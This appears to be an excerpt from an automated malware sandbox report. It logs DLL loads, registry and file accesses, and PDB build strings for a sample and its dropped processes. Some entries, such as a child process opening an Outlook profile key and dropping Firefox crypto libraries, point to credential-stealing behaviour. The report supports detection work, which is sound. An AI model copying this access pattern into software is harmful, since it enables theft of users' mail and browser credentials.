Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: msvcp140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: d3d9.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: msctfui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: uiautomationcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: d3dcompiler_47.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\H6ohQMZygb.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\u5e0.0.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: C:\Users\user\Desktop\H6ohQMZygb.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: mozglue.pdbP source: u5e0.0.exe, 00000001.00000002.2165760068.000000006C00D000.00000002.00000001.01000000.00000010.sdmp, mozglue.dll.1.dr
Source:	Binary string: /_/obj/Release/Microsoft.ApplicationInsights/net46/Microsoft.ApplicationInsights.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4146995389.0000028F3E070000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: nss3.pdb@ source: u5e0.0.exe, 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.1.dr
Source:	Binary string: D:\Workspace\TFS\MAINLINE\ioloCore\Dysnomia\PerceiveHUD\obj\Debug\PerceiveHUD.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Cleanup\obj\Release\Cleanup.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105684900.0000028F25130000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Win32TaskScheduler\obj\Release\Win32TaskScheduler.pdbz9 source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: c:\release\WorkingDir\PrismLibraryBuild\PrismLibrary\Desktop\Prism\obj\Release\Microsoft.Practices.Prism.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4137623538.0000028F3DA90000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Bootstrap\obj\Release\Bootstrap.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\InstallerSMUDUI\obj\Release\InstallerSMUDUI.pdb\| source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4147857342.0000028F3E1D0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\STDHash\obj\Release\STDHash.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: mozglue.pdb source: u5e0.0.exe, 00000001.00000002.2165760068.000000006C00D000.00000002.00000001.01000000.00000010.sdmp, mozglue.dll.1.dr
Source:	Binary string: C:\Users\ICP221\perforce\_perforce\Installer\UniversalInstaller\2.5.30\Project\UIxStandard\Win\Release\UniversalInstaller.pdb source: run.exe, 00000002.00000000.1770456148.000000000119C000.00000002.00000001.01000000.00000008.sdmp, run.exe, 00000002.00000002.1772861896.000000000119C000.00000002.00000001.01000000.00000008.sdmp, run.exe.0.dr
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Telemetry\obj\Release\Telemetry.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4155483058.0000028F3E780000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_de-de\obj\Release\Locale_de-de.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: y:C:\xinosa dulicados52\vogewaxupi\gixugajipak20\n.pdb source: H6ohQMZygb.exe, 00000000.00000003.1697147122.0000000004A71000.00000004.00000020.00020000.00000000.sdmp, u5e0.0.exe, 00000001.00000000.1693665108.000000000040F000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_pt-br\obj\Release\Locale_pt-br.pdb^ source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\Projects\Personal\DeviceId\src\DeviceId\obj\Release\net40\DeviceId.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4155308979.0000028F3E520000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Downloader\obj\Release\Downloader.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105073523.0000028F250C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\STDHash\obj\Release\STDHash.pdb@=Z= L=_CorDllMainmscoree.dll source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: EntitlementDefinitions.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105805682.0000028F25170000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_en-us\obj\Release\Locale_en-us.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105498900.0000028F25110000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\xinosa dulicados52\vogewaxupi\gixugajipak20\n.pdb source: H6ohQMZygb.exe, 00000000.00000003.1697147122.0000000004A71000.00000004.00000020.00020000.00000000.sdmp, u5e0.0.exe, 00000001.00000000.1693665108.000000000040F000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: D:\Projects\Personal\DeviceId\src\DeviceId\obj\Release\net40\DeviceId.pdbSHA256M$ source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4155308979.0000028F3E520000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Branding\obj\Release\Branding.pdbjD source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105142994.0000028F250D0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_ko-kr\obj\Release\Locale_ko-kr.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_de-de\obj\Release\Locale_de-de.pdbF source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_fr-fr\obj\Release\Locale_fr-fr.pdbf source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_es-es\obj\Release\Locale_es-es.pdb. source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_pt-br\obj\Release\Locale_pt-br.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4145421233.0000028F3DFC0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_it-it\obj\Release\Locale_it-it.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Branding\obj\Release\Branding.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105142994.0000028F250D0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\InstallerCommon\obj\Release\InstallerCommon.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105376040.0000028F25100000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4145421233.0000028F3DFC0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\InstallerSMUDUI\obj\Release\InstallerSMUDUI.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4147857342.0000028F3E1D0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\InstallerCommon\obj\Release\InstallerCommon.pdb4 source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4105376040.0000028F25100000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_ja-jp\obj\Release\Locale_ja-jp.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: /_/obj/Release/TelemetryChannel/net452/Microsoft.AI.ServerTelemetryChannel.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4154999191.0000028F3E500000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4134808693.0000028F351DC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\projects\dotnetzip-semverd\src\Zip\obj\Release\DotNetZip.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4141731401.0000028F3DCD0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: SMCommon.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\Workspace\TFS\MAINLINE\ioloCore\Dysnomia\PerceiveSDK\obj\Debug\PerceiveSDK.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000002.4143003041.0000028F3DD70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: c:\Users\dahall\Documents\Visual Studio 2010\Projects\TaskService\obj\Release\Microsoft.Win32.TaskScheduler.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_nl-nl\obj\Release\Locale_nl-nl.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_fr-fr\obj\Release\Locale_fr-fr.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Win32TaskScheduler\obj\Release\Win32TaskScheduler.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_nl-nl\obj\Release\Locale_nl-nl.pdbR source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 0000000C.00000000.1987937645.0000028F22E1B000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: nss3.pdb source: u5e0.0.exe, 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmp, nss3.dll.1.dr
